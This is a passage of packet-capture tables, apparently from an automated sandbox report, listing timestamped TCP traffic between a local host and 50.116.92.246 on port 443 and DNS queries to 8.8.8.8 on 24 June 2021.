Jun 24, 2021 20:52:01.389290094 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604446888 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604518890 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604536057 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604562044 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604583025 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604600906 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604617119 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604640007 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604652882 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604676962 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604686975 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604705095 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.604722023 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.604754925 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.606304884 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.606345892 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.606376886 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.606393099 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.606395960 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.606436014 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.762875080 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.762937069 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.762959957 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.762975931 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763003111 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763015032 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763019085 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763052940 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763053894 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763101101 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763104916 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763149023 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763243914 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763292074 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763340950 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763391018 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763422966 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763472080 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763478041 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763511896 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763516903 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763549089 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763554096 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763586044 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763590097 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763622999 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763627052 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763664007 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763669014 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763710976 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763727903 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763747931 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763761044 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763786077 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763794899 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763823986 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763827085 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763870001 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.763880968 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.763915062 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.919935942 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920013905 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920037031 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920088053 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920104027 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920133114 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920145035 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920181036 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920192003 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920243979 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920272112 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920304060 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920320034 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920325994 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920342922 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920348883 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920371056 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920371056 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920393944 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920393944 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920418024 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920424938 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920440912 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920449018 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920468092 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920473099 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920491934 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920499086 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920514107 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920521975 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920536995 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920547009 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920561075 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920571089 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920583963 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920594931 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920607090 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920627117 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920629978 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920656919 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920664072 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920680046 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920702934 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920723915 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920725107 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920744896 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920763969 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920767069 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920789003 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920792103 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920810938 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920830011 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920838118 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920860052 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920862913 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920883894 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920897007 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920907021 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920926094 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920928955 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920952082 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920963049 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.920975924 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.920995951 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.921003103 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.921020985 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.921041965 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.921044111 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.921066046 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.921066999 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.921108961 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089519024 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089560032 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089590073 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089605093 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089612007 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089632034 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089648008 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089657068 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089673996 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089689016 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089698076 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089725971 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089735031 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089750051 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089766979 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089771032 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089828968 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089853048 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089874029 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089900970 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089907885 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089917898 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089931011 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089932919 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089962959 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.089970112 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089997053 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.089998960 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090032101 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090046883 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090055943 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090085030 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090097904 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090104103 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090131044 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090140104 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090162992 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090167999 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090188026 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090195894 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090236902 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090246916 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090270042 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090272903 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090297937 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090311050 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090325117 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090341091 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090375900 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090378046 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090414047 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090414047 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090445042 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090478897 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090502977 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090502977 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090528965 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090559006 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090559959 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090586901 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090589046 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090616941 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090640068 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090641022 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090668917 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090688944 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090693951 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090715885 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090722084 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090750933 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090754032 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090778112 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090784073 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090805054 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090807915 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090827942 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090841055 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090852976 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090857983 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090874910 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090883970 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090889931 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090909004 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090917110 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090926886 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090939045 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090955019 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090960979 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090970039 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090982914 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.090991020 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.090997934 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091013908 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091028929 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091032028 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091044903 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091061115 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091064930 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091082096 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091095924 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091097116 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091109037 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091130018 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091140985 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091156006 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091156960 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091171980 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091183901 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091187954 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091202974 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091219902 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091234922 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091238022 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091253996 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091270924 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091283083 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091285944 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091301918 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091316938 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091319084 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091331959 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091346025 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091347933 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091361046 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:02.091382980 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.091420889 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.114469051 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:02.270199060 CEST	443	49742	50.116.92.246	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 24, 2021 20:51:43.108686924 CEST	58028	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:43.164299965 CEST	53	58028	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:43.291013956 CEST	53097	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:43.339402914 CEST	53	53097	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:44.854713917 CEST	49257	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:44.905534983 CEST	53	49257	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:45.962810993 CEST	62389	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:46.008990049 CEST	53	62389	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:47.614975929 CEST	49910	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:47.678334951 CEST	53	49910	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:48.845629930 CEST	55854	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:48.894089937 CEST	53	55854	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:53.948920965 CEST	64549	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:53.994982958 CEST	53	64549	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:55.259759903 CEST	63153	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:55.312151909 CEST	53	63153	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:55.549280882 CEST	52991	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:55.644603968 CEST	53	52991	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:56.056659937 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:56.138300896 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:57.124969006 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:57.188456059 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:58.166435957 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:58.252995968 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:59.018085957 CEST	51726	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:59.214350939 CEST	53	51726	8.8.8.8	192.168.2.4
Jun 24, 2021 20:51:59.314043045 CEST	56794	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:51:59.363338947 CEST	53	56794	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:00.163207054 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:00.226448059 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:00.521651983 CEST	56534	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:00.571331024 CEST	53	56534	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:00.620779991 CEST	56627	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:00.675678015 CEST	53	56627	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:01.676764965 CEST	56621	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:01.723256111 CEST	53	56621	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:02.776541948 CEST	63116	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:02.831732988 CEST	53	63116	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:03.920672894 CEST	64078	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:03.975586891 CEST	53	64078	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:04.210329056 CEST	53700	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:04.274136066 CEST	53	53700	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:05.052500963 CEST	64801	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:05.107897043 CEST	53	64801	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:08.568717957 CEST	61721	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:08.614689112 CEST	53	61721	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:11.673342943 CEST	51255	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:11.728395939 CEST	53	51255	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:13.500967026 CEST	61522	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:13.566433907 CEST	53	61522	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:13.943001032 CEST	52337	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:14.002213001 CEST	53	52337	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:15.081157923 CEST	55046	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:15.127470016 CEST	53	55046	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:17.645714998 CEST	49612	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:17.709813118 CEST	53	49612	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:25.519717932 CEST	49285	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:25.575562954 CEST	53	49285	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:35.439935923 CEST	50601	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:35.574704885 CEST	53	50601	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:36.154279947 CEST	60875	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:36.307291031 CEST	53	60875	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:36.526988029 CEST	56448	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:36.591212988 CEST	53	56448	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:37.024379015 CEST	59172	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:37.081214905 CEST	53	59172	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:37.154571056 CEST	62420	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:37.221306086 CEST	53	62420	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:37.553111076 CEST	60579	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:37.608648062 CEST	53	60579	8.8.8.8	192.168.2.4
Jun 24, 2021 20:52:38.189977884 CEST	50183	53	192.168.2.4	8.8.8.8
Jun 24, 2021 20:52:38.244735956 CEST	53	50183	8.8.8.8	192.168.2.4
